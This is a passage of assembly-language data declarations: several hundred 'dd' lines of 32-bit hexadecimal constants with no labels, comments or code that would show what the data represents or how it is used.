		dd 0B39C0387h, 9435B645h, 2524B8A0h, 0E351CE61h, 3081F0FBh
		dd 3DC995E0h, 5189F004h, 81EA3Eh, 1CF843E9h, 5C3C2F74h
		dd 4B189755h, 0FB107949h, 0F9EC6401h, 56B9B173h, 0B445A041h
		dd 5A170F10h, 0AF983750h, 9AA7DD00h, 0FB13DF8Eh, 0B3F639D1h
		dd 0D7BB9780h, 893FFA11h, 79E84F30h, 50F75D55h,	887B247Dh
		dd 0D71FB114h, 1B82FDE3h, 49F652E5h, 44FF144h, 5D12ADECh
		dd 0AC203DF8h, 0F99F9A0h, 34FCF106h, 0E3240092h, 0E9608140h
		dd 92055E12h, 939F6803h, 0FBC1EFD2h, 29883E58h,	5988863Ch
		dd 11C2B89Bh, 28213174h, 90964C08h, 14A084BBh, 684E2448h
		dd 84C79093h, 0F044491Ch, 0DB4F0082h, 0C034DCh,	51C4CCB3h
		dd 0FA1F3C30h, 0A4A59400h, 751B1570h, 0A8DF0E6Bh, 1EAF6EABh
		dd 20E5F927h, 0A972A4A0h, 0C2F7051Ch, 70C381BEh, 41992317h
		dd 0FD8ED8h, 22868090h,	0B391A352h, 45555F00h, 849BFEB1h
		dd 0C78A2E35h, 58D70016h, 11B7EC70h, 1B32E301h,	559A746Eh
		dd 0E8E472E1h, 0DE200053h, 624EEFBDh, 0FC002248h, 0FD6B099h
		dd 2B5998h, 0A297FAB5h,	69508E72h, 64CC9250h, 0A66A9F00h
		dd 0B663C1B3h, 0C820000Bh, 0DB921524h, 2B60AA70h, 0A8415468h
		dd 8C4D0146h, 0BDCFE23Dh, 0A63EEC8Ah, 7A18DD76h, 8B1089D2h
		dd 0D819000Ch, 12DA52C8h, 70025BAAh, 66E5234Bh,	6B0C4063h
		dd 68E2FDh, 65E7C67Ah, 2708D202h, 771C2201h, 23497CD5h
		dd 0D7250983h, 0C54F72h, 8EAFE0ACh, 4C3E3C59h, 0CE99815Eh
		dd 0D6E62030h, 0C8E42BD9h, 39452CC6h, 0FDF80025h, 52AD9A7Ah
		dd 78C600Fh, 5B2A8768h,	9BB4BA41h, 0E08047D9h, 0FAFEC1D4h
		dd 0A904402Eh, 8279A02Ch, 0ACD12801h, 0DA57F41Dh, 0A8494428h
		dd 9F0FF07h, 9BE03C43h,	78D03E5Fh, 8926004Eh, 0FABA971Bh
		dd 643DA82Bh, 820D809Ah, 0EB8C533Bh, 0B5AE027Eh, 28ABB62Dh
		dd 0D839B8C0h, 3E00D1E2h, 0D508C24Bh, 0AA5BAB5h, 975D53ACh
		dd 5F3F0BD4h, 0D0C48D87h, 4133985Bh, 9E10E801h,	13787BAEh
		dd 0A7F000FBh, 193B62EFh, 6A000777h, 0CC83F3D0h, 0FE2A8E8Ch
		dd 0A998F4h, 0BD5FF7CFh, 0E33A3E5Eh, 0F2527000h, 5046E22Eh
		dd 0C0EC00B1h, 0CC86D660h, 37E40928h, 8E012C79h, 256E53C6h
		dd 0F853C09Eh, 0D1CAF8E7h, 0A68A06BBh, 18885F2Ch, 440370E6h
		dd 2E55FAF3h, 0BCC4F369h, 0CB3B0CC0h, 0A39E0C84h, 6E087F4Fh
		dd 0E0A01876h, 533AC2F0h, 5478780h, 0B730144Dh,	1F38F541h
		dd 836A2AA5h, 4431CF74h, 94C59C00h, 29681411h, 0AF320941h
		dd 2854AE54h, 52737100h, 28C8475Ch, 0DC50FEh, 295BB13Fh
		dd 6D9184CAh, 1C00A9ECh, 0CEF249B5h, 0E932BC9h,	7ED50644h
		dd 22981A80h, 0FC003CB4h, 702AA2E6h, 0A41183D1h, 0D670098h
		dd 0A04D498Fh, 0A84947ADh, 29B40085h, 0A418F572h, 64680A83h
		dd 80F3C7h, 6A435754h, 3100D396h, 0A561497Fh, 107A394h
		dd 8E295F12h, 0E0B42F80h, 3E00A0EEh, 8A4F9C7Eh,	44E1Ah
		dd 68E549FDh, 0FE0FBC80h, 8900C27Eh, 0F89C2036h, 902F673Fh
		dd 4A3C4088h, 70DD9600h, 57082E3Eh, 8A6A0049h, 8CEA8113h
		dd 0B0009897h, 0D3222679h, 23C5C2h, 6DC3C0E9h, 7C4247E6h
		dd 80F5D73Ch, 8EE7CFA2h, 0E890C4h, 96B7D62Fh, 0A5F70EBFh
		dd 49621A00h, 2E3CA8B3h, 4A73002Dh, 84CDA194h, 0CC1F19F5h
		dd 494092C1h, 0D45C7F1Ch, 85DB5096h, 7530008Eh,	698001B5h
		dd 1600CAC5h, 0BD612E76h, 0FABC87h, 84989926h, 0FB0F193Ch
		dd 790B10C0h, 12752AEh,	7BAF3108h, 74F0AD69h, 20169404h
		dd 4C09C4DFh, 416418B7h, 0A7A88029h, 9AD15A00h,	589C558Fh
		dd 0A438003Ch, 46ED785Bh, 3000D4FBh, 0FCA39084h, 39058086h
		dd 9789F48Bh, 24005667h, 0A9C8765Dh, 2F666100h,	297DBD55h
		dd 0C47700A7h, 743F0203h, 0CD75EFA0h, 9D070477h, 0EE6FE20Ah
		dd 881E5553h, 0FC2771h
		dd 0ECE352Ah, 0BEDC0349h, 4D21C603h, 0A8A514A2h, 12FACDh
		dd 0BB346A4h, 7E5EAE80h, 2EB24300h, 78C004DFh, 627000Eh
		dd 50C8A3Ah, 9D03FC72h,	0CB21D8CDh, 0B64DA898h,	777CB8h
		dd 246F0A15h, 4005B14Ah, 3300D979h, 6E85E82Dh, 3F375BD0h
		dd 0BA0E0B73h, 0D203F80h, 96A6124Ch, 0C0797E00h, 0AA2B29DEh
		dd 0E4051DA5h, 0BA1900B4h, 0DA630B02h, 234D0700h, 13DBFF10h
		dd 0D2B00025h, 311DBD17h, 0E0000148h, 0B9FCF34Eh, 7724B4Fh
		dd 0A55AE83Ch, 6B673099h, 9C0F8684h, 0E025B6FAh, 0D8AE3B7Dh
		dd 8DAF005Dh, 51A15BD7h, 6300B2A0h, 5A44642h, 79843F1h
		dd 1116C18Fh, 0B475D367h, 0F5D46EF0h, 0C5189F60h, 0D033EAh
		dd 12066698h, 99563263h, 0D602EBFCh, 535F0E2h, 32850CAh
		dd 6486A29Bh, 0F6FA1E7Fh, 42740440h, 80F2593Bh,	0C7710ED9h
		dd 8B9B22h, 0D3F5FD1Eh,	0BF5C2FA3h, 46D14007h, 0B2E0E63Bh
		dd 0B00735A1h, 0B4BE4C0Ah, 400F0072h, 0DAC3DC57h, 0B03B91Fh
		dd 9F1BAB37h, 2A2FE142h, 0BA960C0h, 0E112DB2Dh,	0BC7304A0h
		dd 0C8021FC3h, 0D3D2304Eh, 0B07443F1h, 7966F7Bh, 6B1E07A5h
		dd 51805B15h, 467D2B7Fh, 0ACA2F200h, 48C3A85Ah,	4AFA0003h
		dd 0C7B674FEh, 393ED859h, 4CCC9D85h, 6E92A080h,	935BE62h
		dd 66848020h, 0D5E0F82Eh, 50BB91C2h, 17862E00h,	264DE030h
		dd 75FF00D8h, 141B473Ch, 5AEE3134h, 33AD8F03h, 908767EFh
		dd 7436Ah, 0FC64B25Fh, 913C7D30h, 9C00B0B2h, 0B7F614F7h
		dd 1FE7E52Ah, 4026F83Ah, 20C0C3E9h, 1B0BF3D2h, 15CA905h
		dd 860C1926h, 1AD06AC9h, 58E900FDh, 16A43F1Ch, 423A6E47h
		dd 0C900F35Ah, 2DED20E3h, 0EE708h, 0C4E659F1h, 8A9FFBCFh
		dd 6939C60Fh, 0FE74A31Bh, 0C89AD9DFh, 2B6AC4h, 94F65C79h
		dd 66DB734Ah, 0C39ED112h, 0A0FF0C0Eh, 0FA83488Ah, 0F2DE001Ah
		dd 5D56A880h, 0BE013AEEh, 36CB4DD2h, 5570AFE7h,	973700D9h
		dd 44B39028h, 4F004B8Dh, 95B667EAh, 24B24281h, 0CB11Fh
		dd 0FE34237Ah, 0CC245291h, 4A0008E4h, 43CD63BFh, 0D7F90955h
		dd 0E8A0B607h, 0C394CE8Ch, 7128E261h, 42DC3306h, 0EB800C6h
		dd 0C581DEDBh, 0CB00737Dh, 245580C7h, 0E0A171h,	433767A6h
		dd 2D6D83Dh, 0BA997B02h, 0E07917D9h, 1EF681A8h,	404861E9h
		dd 712C368Bh, 8505A9FFh, 0D7675073h, 0BB0EA91Dh, 0CC6940B1h
		dd 0CA0EF18h, 0AC212732h, 4803A209h, 0FD8CA8F2h, 66DAB018h
		dd 0CCFE4CA6h, 0ED6CF802h, 8063789Ch, 939B08B0h, 0F7920624h
		dd 0FB284C00h, 2683DDF3h, 1E217977h, 91807BF1h,	3C08520Fh
		dd 4A004168h, 0E6A50ACFh, 115BB7Bh, 45D99923h, 0F190FEA7h
		dd 7880CFC9h, 0E27265ABh, 0FA166B00h, 6C06790Fh, 0EC010092h
		dd 0AD27D521h, 7130B814h, 80E96C88h, 5CB7125Ah,	0DBB000FDh
		dd 0BE744B75h, 541A9A00h, 648FF56h, 4FCF007Dh, 0E1D0FBCEh
		dd 140081D6h, 0E9206A5Fh, 195FA24h, 0B7DB7597h,	80CF3509h
		dd 615D44A0h, 0F73BE94h, 10C43E8Eh, 0A60C1560h,	9F07BFE6h
		dd 59915765h, 1AD14830h, 0FD9D006Fh, 0E1B6ACA9h, 6304E0D8h
		dd 0A27BDB1Ch, 0E8DCA0h, 0C0B3F36Ah, 0D5398BE2h, 0D8B02002h
		dd 480B0ACDh, 630624h, 788BB43Bh, 1C2FBFC4h, 0A6BD6F00h
		dd 7C8AA09Ch, 2E0965Ch,	0FA377253h, 0C81ED483h,	0EB61F100h
		dd 2B63E7F2h, 76A92EF3h, 0B9170024h, 52BEF1C4h,	2C12AE70h
		dd 50525D39h, 69760100h, 5C911077h, 2D004655h, 965F40FEh
		dd 0EF0A4466h, 8C181653h, 0CA0F5C07h, 0DF0E5990h, 7E2A00EAh
		dd 4BDA9DC5h, 0E33B6314h, 0DBB30F97h, 0AC62A03Ah, 588628h
		dd 0B81A5C7Dh, 6B373C2Fh, 1B25FC00h, 0B76C7093h, 99F50017h
		dd 0D52F4EFFh, 0D83097E0h, 2C540928h, 81BA006Ch, 1471DC2Dh
		dd 7225F21Ah, 233C8E16h, 90BD6036h, 0EFBB73h, 935549A1h
		dd 9E90A51Ch, 91A41500h, 2847E3E2h, 14BE00A8h, 226E80F4h
		dd 3C381C1Eh, 634B801Fh, 0CD1930Bh, 4F830014h, 1073A3A0h
		dd 8601EB3Bh, 842233F6h, 8CE07C88h, 0C14D07BBh,	0CA8BB88Dh
		dd 73AA6EECh, 2A8980ACh, 92F6AEDBh, 5C0F9A00h, 9E6D9809h
		dd 0CE8B00A5h, 0D64FD810h, 4D0061DAh, 486EBB5Fh, 0DEA60h
		dd 4431F4E6h, 5678CADCh, 272C9A00h, 9190FA12h, 6879120Dh
		dd 0AF040558h, 16C18004h, 4A009BFDh, 6C926A6h, 1DAC94E8h
		dd 0DE43C549h, 0A05DC7E4h, 3755317Fh, 0BE02D831h, 0FAC64900h
		dd 0D94A6923h, 0CE030094h, 6EE11F84h, 431D529Fh, 73009944h
		dd 0D2618FDFh, 77FFAC9h, 58C61D56h, 4F3C50B3h, 9E30FB37h
		dd 0D01FF805h, 5A070E3Bh, 47C0F6EAh, 34BACA4Bh,	9A319260h
		dd 0FCBE7E52h, 94EEC5Dh, 61E4AC07h, 9280FC0Eh, 9598F12Fh
		dd 571E8509h, 0E08C0F50h, 0C1BFF675h, 74CF3A32h, 673A9E00h
		dd 87C03DB9h, 0EC64B626h, 7D5D0B00h, 6E6D43C9h,	0FF6090FBh
		dd 21453D1Ch, 63AB8100h, 51D707E9h, 0E62072DCh,	0C1B424B9h
		dd 8613E0h, 4B5D9FACh, 6500E7CBh, 0FC48254Eh, 7D77D05h
		dd 0E2E3F69Ch, 54C1600Bh, 0C712D04Fh, 0D100612Dh, 0EC6A1926h
		dd 0A7DA0088h, 301434DDh, 0DB12B159h, 0DC43FBCBh, 90B02F24h
		dd 6F36EAh, 881079CCh, 526114D5h, 0BB26ACB8h, 0C42608Bh
		dd 0C0CC4A9Ch, 26871619h, 3C1135h, 5D6D010Fh, 8B096E5Eh
		dd 0A09BE550h, 0C04F8934h, 0D09D0091h, 15CA4EFh, 0B4030CF0h
		dd 0FCB19F36h, 57E80573h, 1C5A9413h, 0B4F94C88h, 0AF0C64A0h
		dd 0B05D5865h, 268FE0CEh, 24710Dh, 0D4BDC3F4h, 2D025FC1h
		dd 76251C32h, 83605966h, 0BD52C8D7h, 98E1B6FAh,	0DB5110E4h
		dd 5838003Dh, 0A3CD7A90h, 3CEA7DB0h, 0D6FFDA00h, 0E264F4D7h
		dd 0CFFB00E0h, 0D5187BD9h, 2C72379Dh, 0A368A52Eh, 0B03E5600h
		dd 1E83999Ah, 1BD3Bh, 1EEEE120h, 23136094h, 6079E25h, 29F0329Bh
		dd 0C033CE69h, 0B3B9BC5Ch, 0E701C037h, 3ABB9D36h, 9C381C08h
		dd 635EBFE0h, 0F4CF9101h, 5852F24Eh, 51009438h,	55A00C5Ah
		dd 9F004559h, 3CFBEF30h, 0F89D3AB3h, 0A09C19h, 6090BDBCh
		dd 59029832h, 88DE4752h, 0BF044886h, 5C94EC1Bh,	844D8ECCh
		dd 0C7533B00h, 0A4732C21h, 1D138E06h, 7082ED0h,	0F69657CAh
		dd 1082874Ch, 6CE1279Fh, 76F8990Eh, 38B434C6h, 35E68340h
		dd 98680CC1h, 9A1F6Ah, 0DF536D8Fh, 2228C9E4h, 0D1BD920Ah
		dd 0E800D85Fh, 980D8FDh, 0ADA20083h, 558F6A33h,	7079EF63h
		dd 99002EE4h, 119E58Ch,	175B1F30h, 1F04FBF5h, 32C74048h
		dd 9EEBA561h, 75023Eh, 84C6FF11h, 969D06h, 0A66B97B6h
		dd 44CF3F27h, 2ACC39h, 4B31D2FDh, 0A60C4B7h, 0D0F19705h
		dd 0AAB3008Ch, 26174C5Fh, 8C08EBA0h, 71004AE2h,	0E8FF0EFAh
		dd 2D9F59h, 85D683CEh, 779BFB08h, 0B97745Ch, 0E2E0FEh
		dd 3EC98A74h, 2B66176Ch, 0B6DC0194h, 3C57EA58h,	6B3839Ch
		dd 3FDEC88Ah, 95D505ADh, 547749h, 0FB268D8Ch, 35006BC6h
		dd 0CFF9F7B4h, 0C388E7h, 0E3C57752h, 0F386A987h, 0B2290C0Fh
		dd 71879F4Ah, 0E2F6F545h, 0FF7700AEh, 2735AECBh, 0C800BE22h
		dd 17FE664Ch, 759D601h,	30159D6Ah, 0F9082075h, 200F880h
		dd 0E81AF51Dh, 1E8544BFh, 938B203Dh, 2D1F13h, 596C097Ah
		dd 0B905F0D0h, 0A4505AEh, 0C448F500h, 93AB2Ch, 0EA7029D2h
		dd 0FA1D495Bh, 2E33DE0Eh, 3E5160DBh, 0FC7CA8BEh, 6C300738h
		dd 0C04B0126h, 3CDC9922h, 67FD7A17h, 0B7C37084h, 275D88C4h
		dd 901E4DB3h
		dd 537CBA00h, 0C0C1E91Ah, 0B769BF07h, 872603C5h, 0A3F20320h
		dd 0B8F138ABh, 1DEE45A0h, 9E05F700h, 2F866E8Eh,	3108C384h
		dd 0E6905294h, 0D40004F1h, 4A1CF3A3h, 0D9579Eh,	0C463B325h
		dd 68E1299Bh, 8215A500h, 5A6F5CA8h, 86F800AAh, 61D9699Ah
		dd 3C7B5746h, 73EEA200h, 1FD428ECh, 37C30ECFh, 164750BAh
		dd 7A5A73EFh, 0C46E3389h, 4679E923h, 80F4A738h,	4287BAA2h
		dd 20DDBF1h, 83BB6BF2h,	7C6093F9h, 0D10E0A07h, 20B8E626h
		dd 0CCB07B6Dh, 11490D3h, 641254B6h, 0D93705B1h,	2F60CC0Dh
		dd 0F48F2703h, 780B5D38h, 55071828h, 0BD335009h, 7069BB05h
		dd 6CF095ECh, 42D89EFEh, 0FC0CDA8h, 2E820B9h, 500F44B8h
		dd 0A0D55172h, 5F31C4E0h, 78A298E7h, 0F46500C7h, 53418A84h
		dd 1E4825F9h, 0BC2C50D3h, 3F0BEF07h, 0D371CE09h, 74D4DCE2h
		dd 17D7E9Eh, 51795999h,	80A3015Eh, 69D12411h, 0A565E9h
		dd 234AD777h, 0CB4706B5h, 965BEF3Bh, 0CC2F7ACh,	5E54C694h
		dd 0E53C078Eh, 8214E0F5h, 987C11A5h, 76FB0D0Fh,	80A0A978h
		dd 702EFEA0h, 9874725Dh, 0E4010094h, 0C248BA0Fh, 324A7BDEh
		dd 8C439852h, 6CE315h, 0B39FA209h, 0DA71039Eh, 0D3679C00h
		dd 5CA7AF36h, 4E43287Ch, 188B00B0h, 602F7A88h, 143CE521h
		dd 0C930824Dh, 0C076AC22h, 44F8E0h, 0C090A475h,	7F4A559Bh
		dd 4509B607h, 1130EDE1h, 177E08A8h, 1134F34h, 3593302Bh
		dd 0E7C2C87h, 0E0A8802Dh, 0F59B0B2Eh, 167C0272h, 1E109369h
		dd 0E226D540h, 8494F750h, 58797601h, 0E82AFFF4h, 5862E052h
		dd 8048542Ch, 0A1370E99h, 0DD7F87E5h, 894DC1C2h, 0C0D83D3Eh
		dd 0F798C1EEh, 677A8403h, 0B82314CFh, 0D2624Dh,	0AEABA2FDh
		dd 751BC98Bh, 0CC05022Ah, 9807CC1Ch, 21683C8Fh,	0C2601043h
		dd 507A83ECh, 1A1D83Bh,	0E6F14849h, 0FCBA96A8h,	9B0BEA78h
		dd 7ECF40Dh, 2541ADB8h,	980ACCEh, 623F0261h, 5A099926h
		dd 0FF408Fh, 2F389AF4h,	3DEEAFh, 0AE48A84Bh, 8E532010h
		dd 0FCB25015h, 401221ECh, 0B7A28D82h, 66B13824h, 0F609F502h
		dd 319C4081h, 95F30042h, 394577CFh, 0ED0E2E43h,	8C21A8BCh
		dd 724C14AFh, 0DF440088h, 8A33CAB6h, 0C9006846h, 0F3DBCFD1h
		dd 58111A18h, 0F04C8338h, 1794E400h, 0A65168BEh, 50DAA50Bh
		dd 5F72811Dh, 0A17080E0h, 0AD7C03E4h, 9D96A06Ch, 0C66F7AE0h
		dd 0C031B900h, 50C48F0Ch, 3CFE0EC8h, 0E3A01222h, 0F410FDF7h
		dd 8B4DAB00h, 0CE5CB2BBh, 0EF8B266h, 35C24737h,	489890F7h
		dd 960118E0h, 8B607256h, 9FC00315h, 237A0207h, 91FF7F11h
		dd 837470C8h, 0AF221600h, 37C9DD2Dh, 0B067742Fh, 0EB32086Ch
		dd 5CC55248h, 298B490h,	4913014Dh, 54764CE7h, 801468A2h
		dd 39E98CE4h, 2B690596h, 0D0EB6CF6h, 5DBE29D8h,	0B85A3A01h
		dd 0B5138A5Bh, 3A583A60h, 5E04E510h, 979A6A90h,	76007928h
		dd 362F1EBEh, 479B2C00h, 9D8D0CADh, 1A7B00FCh, 0D8513895h
		dd 91FE01F5h, 0D03E5901h, 0D6F3A82Bh, 3D24D0h, 0D969517h
		dd 31B737D7h, 0E800C470h, 3A0F2AA8h, 0FE43A7h, 0F34EB43Eh
		dd 3444F03Ch, 4549B31Ch, 8FDC1C0h, 0AB676Eh, 5FE07935h
		dd 7A611F87h, 7309133Ah, 0E62EAC00h, 756AEDDBh,	60F7077Eh
		dd 80A027E9h, 78A71E5Ah, 9034EC1Ch, 96778203h, 9828026Dh
		dd 0BFC1998Ah, 87059050h, 5E300B58h, 2518890h, 8D313090h
		dd 584C0311h, 0FEACFC0Bh, 29D49896h, 9EBB3007h,	14A66F10h
		dd 4A3E029h, 6D0618A0h,	0A2EE1EA0h, 75F810h, 0DA72D0AFh
		dd 77DC43B6h, 91CB1178h, 0D150803Dh, 16F01AA0h,	161C5FCh
		dd 0D7F243E0h, 0CBE6D092h, 0F100189Ch, 49FAE4DDh, 60B07D57h
		dd 44400882h, 0FE0F90CDh, 0C27301CAh, 405F0E1Eh, 98B0DBD8h
		dd 0FB28C02Ah, 5E7FCDE8h, 0B1FDD316h, 37400E1Ch, 0C471B7FCh
		dd 586A01BAh, 84FBBD3Bh, 0B07EE4ADh, 0B5F98703h, 0DB44C5D5h
		dd 7A4FC8A7h, 4560A117h, 6C08A895h, 0D7BC3B84h,	384A86A0h
		dd 0C7A24300h, 0BB81E339h, 0EBAC0147h, 0B2F489C4h, 0E9B9F4C3h
		dd 0AE253F07h, 0FDD1CD43h, 0E6E817F5h, 3287713h, 0CAF0325Ch
		dd 5ED0950Fh, 5000564Ah, 6CCD1CF4h, 0FD3053h, 3F5AC623h
		dd 0D66A70B3h, 2AFACC00h, 2B65565h, 2F530FF6h, 6BE0C030h
		dd 19AE9D0Ah, 316D3A00h, 0F32C5FE5h, 14203C8Bh,	5384800h
		dd 0FB0655B6h, 441C47ECh, 61C10B95h, 355B250Eh,	5E9E7F0h
		dd 0E20ACD2Dh, 0D8FFC04Eh, 50F92F9h, 80731F76h,	52FC4A43h
		dd 7F3F3CD6h, 0F529EB0Fh, 3C066E00h, 98A8BD7Ch,	0B71F659Ch
		dd 0AA8143F9h, 0D83A3B56h, 25C44D2h, 0F4B54D8Fh, 26E2D709h
		dd 4FDB08A0h, 570AD841h, 0B8C9D2BAh, 90BF3880h,	76CE1C83h
		dd 7E4A011Fh, 78CAFCBBh, 0F60C2016h, 9F40BC12h,	0C4002C24h
		dd 68DB20BBh, 0E3F8191Ah, 94CC0890h, 39DA9121h,	4433C8Dh
		dd 0DD4FB5E6h, 0B00188E8h, 0FB9B1A4Ah, 0F1818ECAh, 0ADE6C0E3h
		dd 31F756ABh, 7B21865Bh, 0DD185ACh, 3380DA4Eh, 3740FA4h
		dd 7398BD05h, 26D042F2h, 293D8DE9h, 1EFD81B1h, 0F5DE6D64h
		dd 0FFD1618Fh, 24801D72h, 97770C6Ch, 809DAD08h,	0FDCD3600h
		dd 0F537E89h, 0BE52063Dh, 59F65000h, 0E360A13Fh, 0AFB674B8h
		dd 166900E0h, 0E7CD5ECh, 0BF79B17Fh, 9FE71F00h,	626B6D8Ch
		dd 2F8F00FBh, 0D84B4928h, 0AA1CC290h, 2141E6A7h, 2BDC56E7h
		dd 5E9B3080h, 0AD6C2F08h, 0EEA47E00h, 9E80F554h, 13E706B6h
		dd 58F13F74h, 7568111Dh, 0F6022C1Fh, 39AB70h, 0DD57D7A4h
		dd 3ED551C0h, 0BB646Fh,	1242ED6Dh, 0EF3C5BA1h, 7ECFC858h
		dd 1E307A00h, 6EB2EAC0h, 693200D2h, 6C1B9C35h, 0AA30DD90h
		dd 7A2C70D4h, 8E7021Ch,	24501E2Eh, 0D034B161h, 0C207767Ch
		dd 1F6D52Ch, 842B89F0h,	95684C13h, 0C17BA701h, 83D298DAh
		dd 47283549h, 940EFABh,	0F2F6D92Dh, 8CDA544Fh, 0E729C0C1h
		dd 0C6D043ACh, 259D58h,	0CE227CFh, 0F5D8156h, 7B5C644Eh
		dd 4389001Dh, 0ABCC9F60h, 2DA06601h, 2EF87F45h,	21805ED1h
		dd 98CDA7C5h, 2100B3D6h, 0EFEE8044h, 631BC4Fh, 736EDF02h
		dd 5946598Ch, 0E8CC1A7Bh, 2C245068h, 94C04063h,	18285CCh
		dd 48CFE044h, 0C403691Fh, 5C700A54h, 8ADE28C0h,	43F4E5h
		dd 630E1BE2h, 3F80B706h, 52202B67h, 0E0506666h,	0A30E18EFh
		dd 629A2058h, 442A2504h, 0BA4064E2h, 0B8CDEA8Ah, 841080E9h
		dd 0F12080E8h, 1250CD5h, 68084D39h, 0D09B31C0h,	1BB9880h
		dd 63FF31C8h, 81666DBEh, 41B61060h, 96C0ACE8h, 63B3E1Dh
		dd 42DA2485h, 8888206Eh, 856E36ADh, 84C0BF10h, 2055874h
		dd 0B69C0381h, 0EB8F1779h, 6B33E7F8h, 0A5C99603h, 0E011B07Fh
		dd 797AC123h, 0CA80F0Dh, 69837448h, 20786CD3h, 54B3090Ch
		dd 7331A0h, 0BB409EABh,	0A4DDAE28h, 0AC49D200h,	99EAB11Bh
		dd 46FA03h, 0EE260BBEh,	85F97B50h, 0E00055FAh, 0F3EFD40Dh
		dd 14EBA0B5h, 14B8AD04h, 6BF1DF0h, 0B029423Ch, 6C10980Eh
		dd 0C6441E5Ch, 16B646CFh, 9A03B176h, 42C39753h,	9C15E10Ah
		dd 6D8F0C51h, 21869808h, 6410B193h, 88D0E3CFh, 2BC28F80h
		dd 0A3D69A8h, 8809CDBFh, 0B1BDAF85h, 0F3940Eh, 4B5BFE44h
		dd 6A8A30C8h, 39B45520h, 6D15C903h, 0A47B514h, 22878C50h
		dd 4FF39DB0h, 4BA30D76h, 81C14CA5h, 0E317E178h,	0CFE053CBh
		dd 38C332CDh, 0C12DA511h, 8403A8Fh, 44C2BF76h, 41008D31h
		dd 2538B794h, 1842071Ch
		dd 0C973A927h, 8603C1F0h, 370A458Dh, 7807C95h, 412D22AFh
		dd 0EB5120CBh, 0F01BE35h, 0FD122AA5h, 2980B327h, 9914BA50h
		dd 340CA649h, 88E32A8h,	73D0A8DCh, 121400B2h, 462627BAh
		dd 0B00CA003h, 814E4D6Dh, 5925016Bh, 4F51F5E9h,	68A84061h
		dd 4B48275Dh, 89CE0A4Ch, 1789CC1Fh, 0A6480799h,	81AFB881h
		dd 59D5410h, 2C070107h,	2E0FD46Eh, 217B8C31h, 5A504E5h
		dd 0C0166A2Eh, 5ACC41ADh, 0FFC5DA01h, 0C9127AABh, 0BE93D180h
		dd 24D90765h, 4CA8F101h, 68E3C395h, 8BD8080h, 0B35F21CAh
		dd 11C10B60h, 24816AF6h, 81000E54h, 0A4F39828h,	1235F48Fh
		dd 34EEC71Dh, 7314518h,	0F7F400D0h, 0A9777EE6h,	8501EB78h
		dd 51D6B13h, 0F88C469Eh, 0F651DC54h, 0E394CF03h, 0EBA822F1h
		dd 24EFA8C8h, 651D0CB3h, 0D73034FFh, 0A9B2480Ch, 319945h
		dd 0F51E41E2h, 8C948E5Eh, 4883CD3Ah, 804B8B6Ch,	0D2F6BD93h
		dd 21F700E5h, 0AA0158Dh, 0F4A0629Bh, 0F926F541h, 4B000427h
		dd 1C1E7BD2h, 0FCF028Bh, 9060F17Eh, 72A839E0h, 4CB42E00h
		dd 996B92FDh, 6527004Ah, 0F75773EDh, 61005D8Bh,	6A15E9AFh
		dd 1E205556h, 0C77FBD16h, 0B431CEh, 695B5C62h, 35CDF900h
		dd 3BFBFA4Ah, 665900B9h, 17E02BD8h, 701D2851h, 0C3801657h
		dd 13FA2591h, 0B75E26AAh, 35C1005Fh, 6D7B3E0h, 39515937h
		dd 0E4D45C80h, 728A1CD1h, 0F06EDCh, 4529FF2Dh, 36071999h
		dd 57796E6Bh, 2FECD3h, 0D9E77B38h, 0BCB9E33Fh, 0B40C5C03h
		dd 0EF83D7h, 0FCF82B60h, 0C7311F3Eh, 2E0362FCh,	0E636D264h
		dd 0EF10B8B7h, 0AF653CA3h, 49DDA481h, 810EC7CEh, 0F9C87F91h
		dd 40C07814h, 0A7880090h, 0F560220Ah, 0A9EEAC8Bh, 5DF1CE00h
		dd 2A216D74h, 4675803Ch, 0CBF05681h, 0D4A800A9h, 6A3B54C0h
		dd 65006985h, 0E4BC4EBFh, 3FC149h, 0DD7E5274h, 322FE633h
		dd 0C0D99902h, 0A3405FA5h, 58494h, 0AAD2BD8h, 2AFB7D32h
		dd 7FCD3D00h, 3FEEF9B2h, 487A0642h, 0C1D922FFh,	58C060F7h
		dd 0B80028FAh, 0DAB59E7h, 30ACD9BFh, 0E050B25Ch, 3E6063A2h
		dd 4BF5E469h, 6770C6Eh,	8A49DC05h, 0C4769EFAh, 6A5EE300h
		dd 7FBAAFB2h, 2F410026h, 0EFF38516h, 7500D712h,	84A996DAh
		dd 79CCE3D5h, 0B5170142h, 34E2FCA1h, 0F0F7D08Bh, 3A71ED00h
		dd 0C9D483BCh, 3FA13D82h, 0F728EF30h, 0AF008E90h, 586726DCh
		dd 0CD5435C8h, 0F8212108h, 3D0EBF16h, 80F3811Eh, 0DD4C7B03h
		dd 617761B4h, 0E0D99DA1h, 11C0FA45h, 1E4ED49Ch,	28D67CC7h
		dd 0E0CF920h, 9DE145E3h, 17043B60h, 0F3E8B58Ch,	0D520F660h
		dd 0BBCC72h, 73BEB2B8h,	0AA71C4EFh, 115490FEh, 8200DA14h
		dd 54AF7380h, 6C066h, 0C88D65FEh, 0CC080F24h, 0D92FFA0Ch
		dd 16B579D6h, 394682Ah,	3ED8B3A1h, 0E51D1688h, 0E1055201h
		dd 913AE2F8h, 70A2D186h, 0E8F0381Bh, 6E84E954h,	0B1E52500h
		dd 86EED655h, 56440FFBh, 74CC6C7Ch, 0F300FC99h,	0CC572427h
		dd 1C52E1BAh, 40B4FA7Ah, 0C6B35DF8h, 0B901650Ch, 9B025E88h
		dd 398019B1h, 28E1A7F7h, 707A6922h, 14F80E00h, 938B2B97h
		dd 0F77B0C15h, 0A7D1FD63h, 9B22911Dh, 0A0372806h, 75E215B9h
		dd 0B400EC8Fh, 54050A5Eh, 88580417h, 75CD0C58h,	6A71C7h
		dd 55326296h, 52B31CBFh, 0FAC8300h, 416C4286h, 61080453h
		dd 91AE4ABBh, 8A8CC31Ch, 0FC7B0780h, 0C17D0448h, 51A82675h
		dd 926AF0h, 929DCD88h, 18333C48h, 0DBF40880h, 0E8FBF950h
		dd 774C7148h, 0F6E870Ch, 40072892h, 6038FC16h, 256A87A9h
		dd 0DAD01D2Fh, 37C8D2h,	0E642B90Ch, 0F60870BBh,	0C5FD2C03h
		dd 8813A78Eh, 9FAB99h, 0B69AB79Bh, 79CE1458h, 7892C800h
		dd 0D22DA102h, 0E6E7EB8h, 0EC5EDE4Bh, 5A3FB261h, 4D8FF031h
		dd 0E0D3A51Eh, 50002C24h, 0DF4CBD30h, 0F3A00027h, 84718E86h
		dd 100A20Bh, 96119D93h,	0E06EE05Dh, 9748C07Bh, 2604B9C2h
		dd 68FA590Fh, 0B44180AEh, 0F6408Ah, 6C8FA843h, 8479C08Dh
